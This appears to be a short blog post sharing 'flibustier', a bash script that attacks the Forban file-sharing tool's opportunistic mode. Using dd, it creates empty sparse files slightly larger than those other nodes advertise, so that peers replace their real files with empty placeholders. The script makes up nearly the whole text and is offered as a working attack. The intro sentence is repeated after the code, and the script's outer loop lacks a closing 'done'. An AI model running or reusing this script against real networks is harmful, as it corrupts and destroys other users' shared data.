Following a discussion with Krunch at OHM2013 about the attacks against the opportunistic mode in Forban, he came with a simple script using the Linux sparse file to always present files bigger than any nodes.
#!/bin/bash
set -eu
# flibustier - overwrite all the files shared over Forban
#
# This reads the Forban index files and create/extend
# all the files locally such that they are a bit larger than
# what is being shared by other nodes.
# Since Forban only looks at the file size to decide whether
# to download a file (bigger is better), this should overwrite
# everything that is being shared (at least for the instances
# running in opportunistic mode).
#
# Copyright © 2013 Krunch <adrien@kunysz.be>
# This work is free. You can redistribute it and/or modify it under the
# terms of the Do What The Fuck You Want To Public License, Version 2,
# as published by Sam Hocevar. See http://www.wtfpl.net/ for more details.
# where Forban is running
forbandir='/usr/src/Forban'
sharedir="$forbandir/var/share/"
lootdir="$forbandir/var/loot/"
function debug {
echo "$@"
}
# looking for $lootdir/$uuid/cache/forban/index
find "$lootdir" -mindepth 4 -maxdepth 4 -name index | while read index
do
# reading stuff like this:
# file name,42
rev $index | sed 's/,/ /' | while read size filename
do
size=$(echo $size | rev)
filename="$(echo "$filename" | rev)"
# i don't really want to think about what happens
# if we also mess with the forban metadata
if [[ "$filename" =~ ^forban/ ]]
then
continue
fi
debug "Advertised with size $size: $filename"
localsize=$(stat -c '%s' "$sharedir/$filename" || true)
if [ -n "$localsize" ] && [ "$localsize" -ge "$size" ]
then
continue
fi
# get the size in MiB, rounded down
sizemb=$(((size / (1024*1024))))
# bump to the next MiB
sizemb=$(((sizemb + 1)))
debug "Advertising with size ${sizemb}M"
filedir="$(dirname "$filename")"
if [ ! -d "$sharedir/$filedir" ]
then
mkdir -p "$sharedir/$filedir"
fi
dd "of=$sharedir/$filename" bs=1M seek=$sizemb count=0
done
Following a discussion with Krunch at OHM2013 about the attacks against the opportunistic mode in Forban, he came with a simple script using the Linux sparse file to always present files bigger than any nodes.